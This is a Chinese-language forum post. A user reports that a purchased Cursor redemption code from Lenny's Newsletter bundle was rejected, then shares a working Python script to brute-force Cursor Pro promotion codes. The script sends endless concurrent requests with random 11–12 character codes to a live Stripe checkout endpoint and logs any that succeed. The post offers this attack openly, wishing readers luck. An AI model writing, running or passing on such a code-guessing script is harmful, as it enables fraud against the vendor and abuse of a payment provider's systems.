|
立刻注册账号,享受更清爽的界面!
您需要 登录 才可以下载或查看,没有账号?注册
×
激动的花100🔪买了lenny的捆绑包,拿到了cursor码
点击兑换跳转。提示Invalid Referral Code
This referral code is invalid.
Create a Cursor account to get started.
直接输入兑换码兑换
该促销码无效。
试过新建账号。也试过与 Lenny’s Newsletter同一账号删号注册兑换。皆提示上述信息。
我寻思着数字和字母有十几位,这种情况我也遇到了,我的解决方法是直接从这个页面跳转就到付款页面了。结果发现cursor可以靠撞库获得Pro,附脚本
- import requests
- import random
- import string
- from concurrent.futures import ThreadPoolExecutor
- # 随机生成 promotion_code
- def generate_code():
- length = random.choice([11, 12]) # 随机选11或12
- return ''.join(random.choices(string.ascii_uppercase + string.digits, k=length))
- # 发送请求函数
- def func(promotion_code):
- url = "https://api.stripe.com/v1/payment_pages/cs_live_b1f7WcJfmREh55To7MqhAWYipkIQ67LXYogtgG2OwopO2RfaBzgFuIZzth"
- payload = {
- "eid": "NA",
- "promotion_code": promotion_code,
- "key": "pk_live_51Lb5LzB4TZWxSIGU4LcaRyvT5xW1Iw8Z3E1iOpuCblBLoLhoq3xQnt2U6sR0kfr6wwTdLdQCykfzNnw778PaO7n200tsRmVe72"
- }
- headers = {
- 'accept': 'application/json',
- 'accept-language': 'zh-CN,zh;q=0.9',
- 'content-type': 'application/x-www-form-urlencoded',
- 'dnt': '1',
- 'origin': 'https://checkout.stripe.com',
- 'priority': 'u=1, i',
- 'referer': 'https://checkout.stripe.com/',
- 'sec-ch-ua': '"Google Chrome";v="135", "Not-A.Brand";v="8", "Chromium";v="135"',
- 'sec-ch-ua-mobile': '?0',
- 'sec-ch-ua-platform': '"Windows"',
- 'sec-fetch-dest': 'empty',
- 'sec-fetch-mode': 'cors',
- 'sec-fetch-site': 'same-site',
- 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36'
- }
- try:
- response = requests.post(url, headers=headers,
- data=payload, timeout=10)
- status = response.status_code
- print(promotion_code, response.json(), status)
- if status == 200:
- with open("success.txt", "a", encoding="utf-8") as f:
- f.write(f"{promotion_code} -> {response.text}\n")
- else:
- with open("fail.txt", "a", encoding="utf-8") as f:
- f.write(f"{promotion_code} -> Status {status}\n")
- except Exception as e:
- with open("fail.txt", "a", encoding="utf-8") as f:
- f.write(f"{promotion_code} -> Exception: {str(e)}\n")
- # 主函数 - 并发请求
- def main():
- codes = [generate_code() for _ in range(50)]
- with ThreadPoolExecutor(max_workers=50) as executor:
- executor.map(func, codes)
- if __name__ == "__main__":
- while True:
- main()
复制代码
祝好运! |
|